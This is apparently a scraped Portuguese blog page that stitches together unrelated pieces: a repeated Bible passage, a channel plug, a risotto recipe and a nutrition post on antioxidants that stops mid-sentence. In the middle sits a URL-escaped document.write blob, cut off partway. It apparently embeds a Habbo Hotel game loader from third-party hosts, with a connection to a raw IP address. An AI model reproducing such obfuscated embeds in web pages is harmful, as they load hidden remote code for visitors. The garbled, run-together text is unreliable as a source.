Ame seus inimigos, faca o bem para aqueles que te odeiam, abencoe aqueles que te amaldicoam, reze por aqueles que te maltratam. Se alguem te bater no rosto, ofereca a outra face. Ame seus inimigos, faca o bem para aqueles que te odeiam, abencoe aqueles que te amaldicoam, reze por aqueles que te maltratam. Se alguem te bater no rosto, ofereca a outra face. e essa andreia. <script src="http://www.iradeo.com/radiourra/player/80970.js"></script> document.write(unescape('%3C%21%2D%2D%20%43%F3%64%69%67%6F%20%48%61%62%62%6F%4C%6F%61%64%65%72%20%2D%2D%3E%0A%3C%6F%62%6A%65%63%74%20%63%6C%61%73%73%69%64%3D%22%63%6C%73%69%64%3A%31%36%36%42%31%42%43%41%2D%33%46%39%43%2D%31%31%43%46%2D%38%30%37%35%2D%34%34%34%35%35%33%35%34%30%30%30%30%22%20%63%6F%64%65%62%61%73%65%3D%22%68%74%74%70%3A%2F%2F%64%6F%77%6E%6C%6F%61%64%2E%6D%61%63%72%6F%6D%65%64%69%61%2E%63%6F%6D%2F%70%75%62%2F%73%68%6F%63%6B%77%61%76%65%2F%63%61%62%73%2F%64%69%72%65%63%74%6F%72%2F%73%77%2E%63%61%62%23%76%65%72%73%69%6F%6E%3D%38%2C%35%2C%31%2C%30%22%20%69%64%3D%22%68%61%62%62%6F%22%20%77%69%64%74%68%3D%22%37%32%30%22%20%68%65%69%67%68%74%3D%22%35%34%30%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%72%63%22%20%76%61%6C%75%65%3D%22%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%67%61%6D%65%64%61%74%61%2F%68%61%62%62%6F%2E%64%63%72%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%52%65%6D%6F%74%65%22%20%76%61%6C%75%65%3D%22%73%77%53%61%76%65%45%6E%61%62%6C%65%64%3D%27%74%72%75%65%27%20%73%77%56%6F%6C%75%6D%65%3D%27%74%72%75%65%27%20%73%77%52%65%73%74%61%72%74%3D%27%66%61%6C%73%65%27%20%73%77%50%61%75%73%65%50%6C%61%79%3D%27%66%61%6C%73%65%27%20%73%77%46%61%73%74%46%6F%72%77%61%72%64%3D%27%66%61%6C%73%65%27%20%73%77%54%69%74%6C%65%3D%27%48%61%62%62%6F%20%48%6F%74%65%6C%27%20%73%77%43%6F%6E%74%65%78%74%4D%65%6E%75%3D%27%74%72%75%65%27%20%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%53%74%72%65%74%63%68%53%74%79%6C%65%22%20%76%61%6C%75%65%3D%22%6E%6F%6E%65%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%54%65%78%74%22%20%76%61%6C%75%65%3D%22%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%62%67%43%6F%6C%6F%72%22%20%76%61%6C%75%65%3D%22%23%30%30%30%30%30%30%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%36%22%20%76%61%6C%75%65%3D%22%65%78%74%65%72%6E%61%6C%2E%74%65%78%74%73%2E%74%78%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%74%65%78%74%73%2F%62%72%2E%70%68%70%3F%6E%61%6D%65%3D%45%55%41%20%42%6C%79%74%73%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%32%22%20%76%61%6C%75%65%3D%22%63%6F%6E%6E%65%63%74%69%6F%6E%2E%69%6E%66%6F%2E%68%6F%73%74%3D%32%30%31%2E%36%38%2E%36%31%2E%31%37%39%3B%63%6F%6E%6E%65%63%74%69%6F%6E%2E%69%6E%66%6F%2E%70%6F%72%74%3D%31%32%33%32%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%34%22%20%76%61%6C%75%65%3D%22%63%6F%6E%6E%65%63%74%69%6F%6E%2E%6D%75%73%2E%68%6F%73%74%3D%67%61%6D%65%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%6E%6C%3B%63%6F%6E%6E%65%63%74%69%6F%6E%2E%6D%75%73%2E%70%6F%72%74%3D%33%30%30%30%31%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%33%22%20%76%61%6C%75%65%3D%22%63%6C%69%65%6E%74%2E%72%65%6C%6F%61%64%2E%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%6C%6F%61%64%65%72%2E%6F%72%67%2F%6C%6F%61%64%65%72%2F%3F%73%3D%65%72%72%6F%72%26%6C%61%6E%3D%62%72%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%31%22%20%76%61%6C%75%65%3D%22%73%69%74%65%2E%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%6E%6C%3B%75%72%6C%2E%70%72%65%66%69%78%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%6E%6C%22%3E%0A%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%73%77%35%22%20%76%61%6C%75%65%3D%22%65%78%74%65%72%6E%61%6C%2E%76%61%72%69%61%62%6C%65%73%2E%74%78%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%76%61%72%73%2F%76%61%72%73%2E%70%68%70%3F%68%6F%73%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%67%61%6D%65%64%61%74%61%26%66%6F%6E%64%6F%3D%6C%69%22%3E%0A%3C%65%6D%62%65%64%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%67%61%6D%65%64%61%74%61%2F%68%61%62%62%6F%2E%64%63%72%22%20%62%67%43%6F%6C%6F%72%3D%22%23%30%30%30%30%30%30%22%20%77%69%64%74%68%3D%22%37%32%30%22%20%68%65%69%67%68%74%3D%22%35%34%30%22%20%73%77%52%65%6D%6F%74%65%3D%22%73%77%53%61%76%65%45%6E%61%62%6C%65%64%3D%27%74%72%75%65%27%20%73%77%56%6F%6C%75%6D%65%3D%27%74%72%75%65%27%20%73%77%52%65%73%74%61%72%74%3D%27%66%61%6C%73%65%27%20%73%77%50%61%75%73%65%50%6C%61%79%3D%27%66%61%6C%73%65%27%20%73%77%46%61%73%74%46%6F%72%77%61%72%64%3D%27%66%61%6C%73%65%27%20%73%77%54%69%74%6C%65%3D%27%48%61%62%62%6F%20%48%6F%74%65%6C%27%20%73%77%43%6F%6E%74%65%78%74%4D%65%6E%75%3D%27%74%72%75%65%27%22%20%73%77%53%74%72%65%74%63%68%53%74%79%6C%65%3D%22%6E%6F%6E%65%22%20%73%77%54%65%78%74%3D%22%22%20%74%79%70%65%3D%22%61%70%70%6C%69%63%61%74%69%6F%6E%2F%78%2D%64%69%72%65%63%74%6F%72%22%20%70%6C%75%67%69%6E%73%70%61%67%65%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6D%61%63%72%6F%6D%65%64%69%61%2E%63%6F%6D%2F%73%68%6F%63%6B%77%61%76%65%2F%64%6F%77%6E%6C%6F%61%64%2F%22%20%73%77%36%3D%22%65%78%74%65%72%6E%61%6C%2E%74%65%78%74%73%2E%74%78%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%74%65%78%74%73%2F%62%72%2E%70%68%70%3F%6E%61%6D%65%3D%45%55%41%20%42%6C%79%74%73%22%20%73%77%32%3D%22%63%6F%6E%6E%65%63%74%69%6F%6E%2E%69%6E%66%6F%2E%68%6F%73%74%3D%32%30%31%2E%36%38%2E%36%31%2E%31%37%39%3B%63%6F%6E%6E%65%63%74%69%6F%6E%2E%69%6E%66%6F%2E%70%6F%72%74%3D%31%32%33%32%22%20%73%77%34%3D%22%63%6F%6E%6E%65%63%74%69%6F%6E%2E%6D%75%73%2E%68%6F%73%74%3D%67%61%6D%65%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%6E%6C%3B%63%6F%6E%6E%65%63%74%69%6F%6E%2E%6D%75%73%2E%70%6F%72%74%3D%33%30%30%30%31%22%20%73%77%33%3D%22%63%6C%69%65%6E%74%2E%72%65%6C%6F%61%64%2E%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%6C%6F%61%64%65%72%2E%6F%72%67%2F%6C%6F%61%64%65%72%2F%3F%73%3D%65%72%72%6F%72%26%6C%61%6E%3D%62%72%22%20%73%77%31%3D%22%73%69%74%65%2E%75%72%6C%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%63%6F%2E%75%6B%3B%75%72%6C%2E%70%72%65%66%69%78%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%68%6F%74%65%6C%2E%63%6F%2E%75%6B%22%20%73%77%35%3D%22%65%78%74%65%72%6E%61%6C%2E%76%61%72%69%61%62%6C%65%73%2E%74%78%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%76%61%72%73%2F%76%61%72%73%2E%70%68%70%3F%68%6F%73%74%3D%68%74%74%70%3A%2F%2F%35%36%2E%72%65%6C%65%61%73%65%2E%68%6C%6F%61%64%63%72%2E%6F%72%67%2F%67%61%6D%65%64%61%74%61%26%66%6F%6E%64%6F%3D%6C%69%22%20%3E%0A%3C%2F%65%6D%62%65%64%3E%0A%3C%2F%6F%62%6A%65%63%74%3E%3C%70%3E%0A%3C%66%6F%6E%74%20%66%61%63%65%3D%61%72%69%61%6C%20%73%69%7A%65%3D%32%3E%48%65%63%68%6F%20%63%6F%6E%20%65%6C%3A%20%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%62%62%6F%6C%6F%61%64%65%72%2E%6F%72%67%2F%22%20%74%61%72%67%65%74%3D%22%5F%62%6C%61%6E%6B%22%3E%43%72%65%61%64%6F%72%20%64%65%20%6C%6F%61%64%65%72%73%20%4F%6E%6C%69%6E%65%20%48%61%62%62%6F%4C%6F%61%64%65%72%3C%2F%61%3E%3C%2F%66%6F%6E%74%3E%0A%3C%2F%70%3E%0A%3C%21%2D%2D%20%46%69%6E%20%64%65%6 Canal- Dedezinho Gamer escreva-se canal do dono da pagina eae povo blzz Domingofoi dia de Risoto!Esseprato, tipico do norte da Italia, tem o significado de "arrozinho".Foi criado em 1574, quando Valerio di Fiandra (o mesmo responsavel pelosvitrais da Catedral de Milao) o serviu na festa de casamento de sua filha.Vamosa receita:Risotode File ao Molho BechamelSao3 preparacoes: O risoto, o molho e o file!Paraa carne:Refogue1 pires de cebola bem picada e 1 colher (de sopa) de alho picado e adicione cerca de 400g de file mignon cortado em cubos bem pequenos. Refogue bem ate ficar corado.Adicione entao, 1 tomate cortado em cubos e deixe bem cozido. Adicione sal,salsinha e temperos a gosto. Reserve.Parao Molho:Numapanela em fogo medio, derreta 1 colher (de sopa) de manteiga e junte 1 colher (desobremesa) de farinha de trigo (usei o amido de milho), mexendo sempre. Vaadicionando o leite aos poucos (total de 3/4 de um copo americano), mexendo bem. Mantenha em fogo brando ate que fiqueespesso. Tempere com sal, pimenta e noz-moscada a gosto. Reserve.Parao Risoto:Dilua2 tabletes de tempero pronto em 1 litro de agua quente, deixando-o ferver.Doure 2 colheres (de sopa) de cebola bem picada em azeite e acrescente 1,5 copo(tipo de requeijao) de arroz. Frite rapidamente e em seguida, aos poucos, vaadicionando o caldo, sendo uma concha de cada vez sem que cubra todo o arroz.Va mexendo ate o caldo ir se evaporando. Faca isso ate que o arroz esteja bemcozido. Acrescente o sal a gosto.Depoisde tudo pronto e so misturar! Coloque a quantidade de molho bechamel que acharnecessaria, sem que o arroz vire uma sopa. Adicione entao a carne e se desejar,acrescente queijo parmesao ralado. Esta pronto para servir (quente!!!). Serve de 4 a 5 pessoas. Bomapetite! Essa semana uma paciente me questionou sobre alimentos antioxidantes. Preparei um materialzinho e resolvi postar!!Para entender a necessidade dos antioxidantes, e precisosaber sobre a acao dos radicais livres. Todas as celulas do nosso corpoprecisam constantemente de oxigenio para converter os nutrientes absorvidos dosalimentos em energia, mas esse processo, denominado oxidacao, libera moleculasde radicais livres, que podem danificar celulas sadias do corpo, levando a umenvelhecimento e podendo ate provocar doencas.As celulas do nosso corpo estao habituadas a receber radicaislivres dezenas de vezes ao dia, pois possuem mecanismos que consertam 99% dosdanos causados pela oxidacao. O problema e quando ha excesso dos radicais.Fatores como cigarro, fumaca e alcool, poluicao do ambiente, substanciaspresentes em alimentos e bebidas (aditivos quimicos) e exposicao ao sol estimulama producao de radicais livres, deixando-os em niveis elevados no corpo.Os radicais livres sao uteis ao organismo, pois sao importantes,so nao devem estar em excesso, por ser prejudicial a saude. Quanto mais tempouma pessoa fica exposta aos fatores,